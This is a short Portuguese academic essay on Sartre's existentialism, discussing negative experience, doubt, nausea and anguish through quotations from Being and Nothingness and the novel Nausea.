SARTRE, O PENSADOR DA ANGÚSTIA

SARTRE, O PENSADOR DA ANGÚSTIA

SARTRE, O PENSADOR
DA ANGÚSTIA

 

Francisco Fernandes
Ladeira[1]

Resumo: O objetivo deste
trabalho é tecer alguns comentários sobre as ideias filosóficas de Sartre com
relação à experiência negativa, à duvida, à experiência da náusea, ao vazio
existencial ou o nada do ser.

Palavras-chave: Sartre, náusea,
existencialismo, dúvida, fenomenologia.

Introdução

Sartre é, talvez entre os filósofos contemporâneos, o que melhor soube
exprimir perplexidade e os anseios do homem do nosso tempo, de uma civilização
que, marcada por dois conflitos mundiais, vive ainda as consequências funestas
de uma desordem e de um desastre, do qual o homem é, em grande parte, culpado.

            Sartre,
em seus romances, em suas peças de teatro e, em suas obras filosóficas, de modo
especial em O ser e o nada, onde expõe sua ontologia fenomenológica,
soube expressar com o talento que lhe era inerente, ainda que de maneira
radical, a experiência do desengano e de fracasso vivido pelo ser humano, que
se vê abandonado em um mundo hostil e contraditório, e que não encontra apoio
senão em si mesmo e em sua liberdade, a qual, não obstante, lhe escapa
continuamente de suas próprias mãos.

            O
homem vive, assim, sua própria existência num mundo adverso, no qual ele é
atirado e o qual lhe surge diante dos olhos qual bloco opaco e maciço que não
possui nenhuma fresta que esteja a possibilitar a passagem de uma nesga de luz
para iluminar a própria existência e que lhe abra a possibilidade de ascender a
uma realidade verdadeiramente transcendente.

            Voltando-se
para o interior de si mesmo a fim de encontrar aí a razão e o remédio para os
seus mais íntimos anseios, a existência humana não encontra, senão, o vazio e o
nada do ser. Eis que experimenta seu próprio ser como algo a fugir-lhe
continuamente, na medida em que se esforça por conhecer-se e experimentar-se
como existência.

A negação, a dúvida, a náusea e o nada do ser

            A
experiência negativa pode processar-se dentro de duas posturas básicas. Numa, o
indivíduo se entrega a um comportamento passivo, limitando-se a assistir ao que
lhe acontece. Esta passividade, por sua vez, pode-se dar em um plano
intelectual ou em um plano existencial.

Na outra postura, o indivíduo acede a um comportamento ativo, fazendo da
negação o objetivo de sua conquista. Aqui também, esta conquista pode
processar-se dentro de uma modalidade tanto intelectual, como existencial.

Obviamente, esta classificação não pretende uma divisão em compartimentos
estanques; trata-se muito mais de predominância em um sentido passivo ou ativo,
existencial ou intelectual.

Passemos à análise destas posturas. A experiência negativa apresenta-se
como passividade intelectual na consciência da própria ignorância. Não se trata
da ignorância em si mesma, mas da ignorância que se sabe ignorante. Esta
experiência consiste, portanto, em não conhecer a realidade em viver dentro de
uma realidade que lhe permanece alheia, estranha. Quando o homem toma
consciência deste estranho da realidade, rompe-se, em certa medida, a sua
postura dogmática, pois esta tomada de consciência provoca um sentimento de
separação, de isolamento. Encontramos aqui uma modalidade de experiência
negativa, porque o sentimento do real – das coisas ou de mim mesmo – como que
se esfuma dando origem a um sentimento de perda de si dentro da realidade. O
homem não sabe ou sabe apenas que é ignorante.

Através de um exemplo poderemos compreender melhor esta experiência. A
eficiência de um operário depende de uma certa familiaridade com o instrumento
de seu trabalho, a ponto de poder reduzir o seu comportamento a um certo
automatismo. Sua eficiência deriva, pois, da segurança do seu agir. Se o seu
instrumento, contudo, vier a falhar a sua segurança fica comprometida. Deverá
interromper o seu trabalho e deter-se em seu instrumento. Neste deter-se talvez
descubra que não domina algo em seu instrumento, que este lhe esconde qualquer
coisa. Se isto acontecer, o operário passa de um estado de ignorância à
consciência da ignorância, fazendo com o que desapareça sua familiaridade com o
instrumento.

Na experiência da ignorância o homem se descobre fundamentalmente
passivo, no sentido de que a sofre, podendo ou não reagir contra ela. Porém
existe uma modalidade de experiência negativa intelectual que é ativa: a
dúvida.

A dúvida em um sentido não niilista, nós a encontramos em Husserl. Se a tese geral supõe um homem perdido no mundo dos objetos, a filosofia deve,
segundo Husserl, salvar o homem desta perda, iniciativa que só processa através
de uma dúvida.

Suspende-se a existência do mundo, não o negando, mas pondo-o “entre
parênteses”, com a finalidade de fazer com que o homem se volte para si através
de uma reflexão radical. Assim, o “objetivismo” da postura dogmática
desaparece, é abandonado, instaurando-se a filosofia, pois o caminho que leva à
perda do mundo é invertido e orientado para a subjetividade do sujeito. O
processo de redução permite voltar ao fundamento subjetivo de todas as coisas.

Por mais diversas que sejam as modalidades de dúvida, há um traço comum
que as aparenta: em algum sentido se verifica um desligamento do mundo e uma
queda em si do sujeito, reduzindo-se a realidade (de modo provisório ou não) a
um eu voltado de costas para o real.

A experiência negativa pode dar-se num comportamento de passividade
existencial, na qual o sentido da realidade se esvai como que a despeito do
homem, independente de seu querer: ele sofre a perda do mundo. Verifica-se uma
espécie de passividade, na qual o indivíduo se torna apático e até mesmo
abúlico com uma intensidade maior ou menor. Todo o comportamento do homem tende
a perder a sua razão de ser, na medida em que a realidade perde sentido.

“[…] Se nada me impede de salvar a minha vida, nada me impedirá de
precipitar-me para o abismo” (SARTRE, 1983, p. 97), diz Sartre. E continua:
“[…] o suicídio fará cessar a angústia” (SARTRE, 1983, p. 99).

Qual a causa – próxima ao menos – deste estado de prostração existência?
Em certos casos ela pode ser reconhecida. Um estado de desespero é provocado,
por exemplo, por uma doença grave ou incurável, ou pelo descontrole que pode
acompanhar a perda de um ente querido: a saúde ou a pessoa amada davam à
existência uma dimensão que ela agora veio a perder.

A própria consciência da morte ou, simplesmente, da brutalidade da
condição humana podem estar na raiz de um comportamento de recusa, de desilusão
ou de um conformismo que esconde a face do desespero.

Outras vezes, a causa deste estado negativo não chega a ser tão
claramente reconhecida, e lucidez é substituída pela vivência da agressividade
sofrida, por um sentir-se roubado em sua razão de ser, cujas raízes escapam à
consciência. De qualquer maneira, o negativo avassala o homem independentemente
de sua vontade.

Jean-Paul Sartre, em seu romance A Náusea, descreveu com um
requinte excepcional a experiência da náusea – umas das modalidades de
experiência negativa existencial passiva.

Inicialmente, o personagem do romance, Roquentin, vive em um mundo pleno
de sentido, mas fundamentalmente dogmático. Retira-se para uma pequena cidade
de província a fim de dedicar-se ao estudo biográfico de um político de
estatura menor.

Toma essa atitude porque o seu trabalho e todos os seus pressupostos tem
sentido: a história humana tem sentido.

Em determinada altura, contudo, sem que ele saiba porque, é invadido pela
experiência da náusea. A princípio sente-a de maneira fraca e pouco
considerável, mal atingindo as suas pesquisas. Mas, aos poucos, estas
experiências, repetindo-se, tomam vulto, chegando a abalar profundamente,
totalmente, o mundo dogmático em que até então Roquentin vivera. A náusea
termina por invadir sua própria substância, motivando a instauração nele de uma
nova visão da realidade.

Em certo momento o personagem tem uma “iluminação” e escreve: 

Gostaria tanto de me abandonar, me esquecer, dormir.
Mas não posso, eu sufoco: a existência me penetra de todos os lados, pelos
olhos, pelo nariz, pela boca… E de repente, num instante, o véu se rasga, eu
compreendi, eu vi. Não posso dizer que me sinta aliviado ou contente; ao
contrário, isso me esmaga. Mas minha finalidade foi atingida: eu sei o que
queria saber; tudo o que me aconteceu depois do mês de janeiro, eu compreendi.
A náusea não me abandonou e não creio que me abandone tão cedo; mas já não
sofro, não é mais uma doença ou uma febre passageira, eu sou a náusea. (SARTRE,
1958, p. 159).

A
náusea sempre é sofrida; mas no início ela acontece sem ser compreendida, para,
em certa altura, tornar-se lúcida, uma espécie de revelação: a náusea como
sendo o próprio do homem, embora não seja exclusividade sua, pois além da
existência humana, invade também a história e o próprio mundo exterior, da
natureza.

Éramos um monte de existente constrangidos,
embaraçados de nós mesmos, sem a mínima razão de estarmos aí, nem uns nem os
outros, cada existente, confuso e vagamente inquieto sentia-se demais em
relação aos outros. Demais: esta é a única relação que posso estabelecer entre
estas árvores, estas grades, estes seixos. […] e eu – frouxo, enfraquecido,
obsceno, digerindo, agitando mornos pensamentos – eu também era demais (SARTRE,
1958, p. 161-162).

Donde também o
absurdo:

 

E sem nada formular com clareza; compreendi que tinha
encontrado a chave da existência, a chave de minhas náuseas, de minha própria
vida. Em verdade, tudo que passei a aprender se reduz a esta absurdidade
fundamental. […] Mas eu, há pouco, fiz a experiência do absoluto, do absoluto
ou do absurdo. (SARTRE, 1958, p. 190-191).

          

E sobre a história afirma: “A história fala do que existiu – jamais um
existente pode justificar a existência de outro existente”. Assim, tudo se
transforma em náusea, e eu estou na náusea, ela se identifica com meu próprio
ser.  A realidade toda, portanto, perde o seu sentido, e eu mesmo me perco
dentro deste sem-sentido, restando apenas a amargura do meu próprio vazio, a
compreensão de que eu sou contingência radical, um nada de ser. Com as palavras
do próprio Sartre:

“O essencial é a contingência. Quero dizer que, por definição, a
existência não é uma necessidade” (SARTRE, 1958, p. 193). A óbvia conclusão é
que “todo existente nasce sem razão, se prolonga por fraqueza e morre por
acaso” (SARTRE, 1958, p. 228). E assim o absurdo é o ponto final da realidade.

Conclusão

O importante a observar em experiências como a da náusea ou a da angústia
é precisamente esta perda de sentido do real, que faz com que o próprio homem
sofra como que uma diminuição, destruindo a tese geral da existência dogmática.
O sentido de familiaridade é substituído pela experiência da separação, da
ruptura.

            A
nosso ver, a passividade existencial negativa pode ser transcendida por dois
itinerários básicos.

No primeiro, o homem pode entregar-se e sucumbir diante da experiência
negativa adotando, então, uma visão pessimista da realidade ou assumindo,
simplesmente, a indiferença, a neutralidade diante de tudo e de todos.

Mas o homem também pode enveredar pelo itinerário oposto, isto é, buscar
a superação da experiência negativa na medida em que isto depender de suas
forças. E nesta superação, ou bem ele volta ao mundo familiar e dogmático, ao
mundo das sombras, neutralizando o efeito daquela experiência radical; ou
então, contrariamente, emprenha-se naquela experiência buscando extrair de sua
dimensão existencial todo o significado humano que possa oferecer.

A angústia e náusea são sofridas pelo homem a despeito de si, pois o
homem prefere o mundo em que vive, e por isso estas experiências se tornam
insuportáveis. No mais, o homem não pode controlá-las ou pode-o somente em
parte.

Há ainda outra modalidade de experiência negativa, também existência, na
qual nós encontramos um homem, não dominado e passivo, mas ativo e lúcido:
trata-se do “homem revoltado”.

Realmente o “homem revoltado”, não sofre apenas a perda do mundo; porém,
muito mais, ele não quer o mundo, recusa-o, revolta-se contra o mundo, combate-o.
O comportamento, neste caso, não se reduz somente a um sentir-se isolado, mas a
um querer-se isolado, a uma espécie de teimosia na separação, que implica, em
última análise, numa vontade de destruição, de “nadificar e de ser nadificado”,
“sartreamente” falando.

Enfim, a consciência do homem revoltado supõe o mesmo processo básico das
demais experiências negativas já descritas. O homem vive em um mundo feito,
suficiente em sua organização e fundamentalmente adaptado à ela, até que um dia
se ergue o “por que?”, donde pode decorrer um sentimento de dissonância com
este mundo, a vivência de uma ruptura, a rebeldia que traz como consequência o
isolamento, a separação, a até mesmo a experiência do absurdo, da perda de
sentido da realidade.

REFEFÊNCIAS

  • SARTRE, Jean-Paul. El Ser e La Nada: Ensayo de Onotología Fenomenológica. Traducción de Juan Valmar. 7. ed. Editorial
    Losada S.A: Buenos Aires, 1983.
  • SARTRE,
    Jean-Paul. La Nausée. Paris. Gallimard. 1958. Tradução Thiago
    Adão Lara. 

 

 


[1]
Especialista em “Brasil, Estado e Sociedade” pela UFJF. Professor de Geografia
do Centro Educacional Aprendiz. email: [email protected]

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